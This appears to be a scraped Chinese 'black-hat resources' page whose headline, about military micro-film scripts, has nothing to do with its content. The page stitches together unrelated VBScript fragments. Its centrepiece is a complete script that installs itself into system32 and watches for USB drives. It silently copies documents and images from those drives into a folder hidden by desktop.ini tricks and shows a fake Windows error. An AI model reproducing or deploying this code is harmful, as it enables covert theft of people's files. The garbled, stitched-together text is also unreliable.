部队微电影脚本范例式和交互式有区别

->

其次是Msxml2.ServerXMLHTTP:

OnErrorResumeNext
dtmTargetDate="20020301000000.000000-420"
strComputer="."
SetobjWMIService=GetObject_
("winmgmts:"&"!\"&strComputer&"\root\cimv2")
SetcolFolders=objWMIService.ExecQuery_
("Select*fromWin32_DirectoryWhereCreationDate>'"&_
dtmtargetDate&"'")
ForEachobjFolderincolFolders
Wscript.EchoobjFolder.Name
Next
笨笨已经利用这个小程序省下了不少网费,你呢?->


oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025













->PublicSubFillList(ListControlAsListBox,ParamArrayItems())DimiAsVariantWithListControl.ClearForEachiInItems.AddItemiNextEndWithEndSubPrivateSubCommand1_Click()FillListList1,"TiffanyT","MikeS","RochesterNY"EndSub->
->

其实 MSDN 的 VBScript 文档中关于 Function 和 Sub 语句的部分提到过 Default 关键字:

Default 只能在 Class 语句块中与 Public 关键字一起使用来表明函数过程是类的默认方法例如,根据您操作的工程种类的不同,可以找到各种各样的调试信息


exitfor游戏在哪里下载


  三个常见的软件:


  首先我们要录一段声音文件
'* **************************************** *
'* 程序名称:GetIP.vbs
'* 程序说明:获得本地外网地址并发送到指定邮箱
'* 编码:lyserver
'* **************************************** *

大象下载 - www.2xxz.com
转载请说明《好码网_Haoma5.com》
好码网 » 部队微电影脚本范例式和交互式有区别

一个专注于资源分享的网站

黑帽资源 网站源码